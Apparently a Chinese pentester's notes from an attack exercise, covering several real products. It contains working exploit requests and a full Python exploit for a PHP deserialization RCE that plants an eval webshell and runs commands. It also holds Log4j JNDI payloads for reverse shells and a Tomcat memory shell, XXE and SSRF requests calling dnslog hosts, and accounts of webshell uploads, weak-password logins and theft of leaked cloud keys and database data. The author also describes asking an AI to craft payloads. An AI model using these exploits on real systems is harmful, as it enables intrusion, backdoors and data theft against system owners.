getshell(或许) 禾匠点企来客服系统api/testOrderSubmit rce (CNVD-2022-51194) ehole扫出指纹了 然后找到poc验证了下
1 2 3 4 5 6 7 8 POST /web/index.php?r=api/testOrderSubmit/index/submit&_mall_id=1 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip Content-Length: 233 form_data=O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A1%3A%7Bs%3A9%3A%22_fn_close%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7D
看到disable_functions限制了passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,imap_open,apache_setenv,proc_open,putenv,可以用file_put_contents写文件,不会啊,让ai改了好几次payload都没成功 然后同事和群友都给了些教学
1 O:23 :"yii\db\BatchQueryResult" :1 :{s:36 :"yii\db\BatchQueryResult_dataReader" ;O:24 :"GuzzleHttp\Psr7\FnStream" :3 :{s:32 :"GuzzleHttp\Psr7\FnStreammethod" ;a:2 :{s:10 :"__toString" ;s:7 :"phpinfo" ;s:5 :"close" ;a:2 :{i:0 ;O:20 :"yii\rest\IndexAction" :2 :{s:11 :"checkAccess" ;a:2 :{i:0 ;O:13 :"yii\base\View" :0 :{}i:1 ;s:22 :"evaluateDynamicContent" ;}s:2 :"id" ;s:132 :"file_put_contents('uploads/abc_1234.php',hex2bin('3c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e'));phpinfo();" ;}i:1 ;s:3 :"run" ;}}s:14 :"_fn___toString" ;s:7 :"phpinfo" ;s:9 :"_fn_close" ;a:2 :{i:0 ;r:6 ;i:1 ;s:3 :"run" ;}}}
其中3c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e是马子内容 直接打了
1 2 3 4 5 6 7 8 POST /web/index.php?r=api/testOrderSubmit/index/submit&_mall_id=1 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip Content-Length: 233 form_data=O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22yii%5Cdb%5CBatchQueryResult_dataReader%22%3BO%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A3%3A%7Bs%3A32%3A%22GuzzleHttp%5CPsr7%5CFnStreammethod%22%3Ba%3A2%3A%7Bs%3A10%3A%22__toString%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A5%3A%22close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A20%3A%22yii%5Crest%5CIndexAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A13%3A%22yii%5Cbase%5CView%22%3A0%3A%7B%7Di%3A1%3Bs%3A22%3A%22evaluateDynamicContent%22%3B%7Ds%3A2%3A%22id%22%3Bs%3A132%3A%22file_put_contents%28%27uploads%2Fabc_1234.php%27%2Chex2bin%28%273c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e%27%29%29%3Bphpinfo%28%29%3B%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7Ds%3A14%3A%22_fn___toString%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A9%3A%22_fn_close%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A6%3Bi%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D
md滑铁卢了 同事给的数据是,测试对比了下,少了\x00,好像是对于文件名长度要做要求,要不然就会失败,要十一位长度,然后后缀限制三位,要不然都会显示close() is not implemented in the FnStream,md忘了反序列化要改前面的字符数的那个
1 O:23 :"yii\db\BatchQueryResult" :1 :{s:36 :"\x00yii\db\BatchQueryResult\x00_dataReader" ;O:24 :"GuzzleHttp\Psr7\FnStream" :3 :{s:32 :"\x00GuzzleHttp\Psr7\FnStream\x00method" ;a:2 :{s:10 :"__toString" ;s:7 :"phpinfo" ;s:5 :"close" ;a:2 :{i:0 ;O:20 :"yii\rest\IndexAction" :2 :{s:11 :"checkAccess" ;a:2 :{i:0 ;O:13 :"yii\base\View" :0 :{}i:1 ;s:22 :"evaluateDynamicContent" ;}s:2 :"id" ;s:127 :"file_put_contents('uploads/uploads.txt',hex2bin('3c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e'));phpinfo();" ;}i:1 ;s:3 :"run" ;}}s:14 :"_fn___toString" ;s:7 :"phpinfo" ;s:9 :"_fn_close" ;a:2 :{i:0 ;r:6 ;i:1 ;s:3 :"run" ;}}}
然后tmd,txt能写,php一访问就403,换个目录看看,绕过了,直接../uploads/uploads.php 但是限制好死啊,唉剩下是真不会了
exp 写了个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 import requestsimport urllib3import sysimport reimport sslfrom requests.adapters import HTTPAdapterfrom urllib3.poolmanager import PoolManagerurllib3.disable_warnings() class SSLAdapter (HTTPAdapter ): def __init__ (self, ssl_version=None , **kwargs ): self .ssl_version = ssl_version super ().__init__(**kwargs) def init_poolmanager (self, *args, **kwargs ): kwargs["ssl_version" ] = self .ssl_version return super ().init_poolmanager(*args, **kwargs) def make_session (site ): session = requests.Session() for version in [ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_TLSv1]: try : session.mount("https://" , SSLAdapter(version)) resp = session.head(site, verify=False , timeout=5 ) if resp.status_code < 500 : return session except Exception: continue return requests.Session() regular = r"PHP Version\s+([0-9]+(?:\.[0-9]+){1,3})" def verify (session, site ): url = site.rstrip("/" ) + "/web/index.php?r=api/testOrderSubmit/index/preview&_mall_id=1" headers = { "User-Agent" : "Mozilla/5.0" , "Content-Type" : "application/x-www-form-urlencoded" } data = 'form_data=O:23:"yii\\db\\BatchQueryResult":1:{s:36:"\x00yii\\db\\BatchQueryResult\x00_dataReader";O:24:"GuzzleHttp\\Psr7\\FnStream":1:{s:9:"_fn_close";s:7:"phpinfo";}}' r = session.post(url, headers=headers, data=data, verify=False , timeout=10 ) m = re.search(regular, r.text) if m: return m.group(1 ) return "" def generate_payload (file_name ): php_code = f"file_put_contents('{file_name} ',hex2bin('3c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e'));phpinfo();" code_len = len (php_code) payload = f'O:23:"yii\\db\\BatchQueryResult":1:{{s:36:"\x00yii\\db\\BatchQueryResult\x00_dataReader";O:24:"GuzzleHttp\\Psr7\\FnStream":3:{{s:32:"\x00GuzzleHttp\\Psr7\\FnStream\x00method";a:2:{{s:10:"__toString";s:7:"phpinfo";s:5:"close";a:2:{{i:0;O:20:"yii\\rest\\IndexAction":2:{{s:11:"checkAccess";a:2:{{i:0;O:13:"yii\\base\\View":0:{{}}i:1;s:22:"evaluateDynamicContent";}}s:2:"id";s:{code_len} :"{php_code} ";}}i:1;s:3:"run";}}}}s:14:"_fn___toString";s:7:"phpinfo";s:9:"_fn_close";a:2:{{i:0;r:6;i:1;s:3:"run";}}}}}}' return payload def exp (session, site, file_name, debug=False ): payload = generate_payload(file_name) url = site.rstrip("/" ) + "/web/index.php?r=api/testOrderSubmit/index/preview&_mall_id=1" headers = { "User-Agent" : "Mozilla/5.0" , "Content-Type" : "application/x-www-form-urlencoded" } data = {'form_data' : payload} r = session.post(url, headers=headers, data=data, verify=False , timeout=10 ) if debug: print ("\n[DEBUG] exp() 上传响应内容:" ) print ("=" *80 ) print (r.text[:2000 ]) print ("=" *80 ) shell_url = site.rstrip("/" ) + f"/web/{file_name} " try : r2 = session.get(shell_url, verify=False , timeout=10 ) if r2.status_code == 200 : upload_status = f"[+] 文件上传成功: {shell_url} " else : upload_status = f"[-] 文件上传失败,HTTP状态码:{r2.status_code} " return upload_status except Exception as e: return f"[-] 文件访问异常: {e} " execute_status = "[-] 文件执行失败" verify_payload = {'img' : "system('whoami');" } for method in ["post" , "get" ]: try : if method == "post" : r_exec = session.post(shell_url, data=verify_payload, verify=False , timeout=10 ) else : r_exec = session.get(shell_url, params=verify_payload, verify=False , timeout=10 ) if r_exec.status_code == 200 : if "<?php" in r_exec.text or "eval" in r_exec.text: execute_status = f"[-] 文件返回源码,命令未执行 " else : execute_status = f"[+] 文件可执行 ({method.upper()} ),whoami 输出:\n{r_exec.text} " break except Exception as e: execute_status = f"[-] 文件执行异常 ({method.upper()} ): {e} " return f"{upload_status} \n{execute_status} " if __name__=="__main__" : if len (sys.argv) < 3 : print (f"用法: python {sys.argv[0 ]} http(s)://target.com 文件名 [--debug]" ) sys.exit(1 ) target = sys.argv[1 ] file_name = sys.argv[2 ] debug = "--debug" in sys.argv session = make_session(target) info = verify(session, target) if info: print (f"[+] 漏洞存在,获取到 PHP 版本为: {info} " ) content = exp(session, target, file_name, debug) print ("[+] 上传与执行状态:" ) print (content) else : print ("[-] 漏洞不存在" )
直接
1 python 1.py target 文件名(可带路径)
log4j(实战中第一次遇到) 开局一个spring boot的默认错误页面 扫目录就出了个接口文档,但是类似后台入口啥的都没找到 想着碰运气吧,结果,spring boot scan也没结果,那脚本小子没辙了,然后就是让ai帮我拓宽思路(确实经验不足,唉) 然后ai说可能:Java应用通常有一些共性行为,可以推断是否可能使用Log4j 想着就打打log4j吧
1 2 3 4 GET /error/ HTTP/1.1 Host: Accept: ${jndi:rmi://la446n.dnslog.cn/1} Cache-Control: max-age=0
直接dnslog打批量看看,有访问记录
换工具验证
1 ${jndi:ldap://hack_ip:ldap_port/URLDNS/cllacu.dnslog.cn/1}
1 java -jar jndi-exp.jar -i hack_ip -l ldap_port -p http_port
拿个java版本
1 ${jndi:ldap://ip:port/basic/${java:version}}
找利用链
1 ${jndi:ldap://ip:port/fuzzbyDNS/domain}
1 ${jndi:ldap://ip:port/EL/reverseshell/ip/port}
反弹失败,看了下服务器那边,看了下工具只支持linux命令,那直接传内存马了,用TomcatServlet内存马
1 ${jndi:ldap://ip:port/EL/memshell/TomcatServletMemShellFromThread}
然后访问指定路劲/ser
文件上传 弱口令admin:admin进来 先前端改删掉disabled="disabled",输入马子后缀 提交按钮的也得删 然后直接传aspx马,但是一直被删,然后找了个小马,传上去,蚁剑连上了 但是权限太低,命令都执行不了,就翻配置,网站根目录下找到web.config,里面有数据库配置 直接连上拿数据分,毕竟拿了shell给100分,数据分也差不多,何必费力(主要是研究不出来了)
信息泄露 oss存储桶 由任意用户注册进的系统 登陆后,findsomething帮忙找到ak/as泄露接口 然后带着cookie访问拿到 oss浏览器成功登录上
水洞 泛微 xxe 用dnslog验证了下访问外部链接
1 2 3 4 5 6 7 8 POST /rest/ofs/deleteUserRequestInfoByXml HTTP/1.1 Host: Cookie: ecology_JSessionid=aaaAEj48O9I064d6QbLiz Content-Type: application/xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE syscode SYSTEM "http://vkkk8x.dnslog.cn/1.dtd"> <syscode>&send;</syscode>
源码泄露 1 /cloudstore/ecode/setup/ecology_dev.zip
ssrf 1 2 3 4 5 6 7 8 9 10 11 12 13 POST /api/doc/mobile/fileview/getFileViewUrl HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/json Upgrade-Insecure-Requests: 1 { "file_id": "1000", "file_name": "c", "download_url":"http://vkkk8x.dnslog.cn" }
kkFileView应该有个rce的,但是不懂是不是同事已经测过了,关站了现在 thinkphp 看到s参数觉得应该是thinkphp,但是扫指纹的时候没出来,想着验证一下 结果出来个这玩意
确认是thinkphp
1 /index.php?s=/%C0%AE%C0%AE%C0%AF
弱口令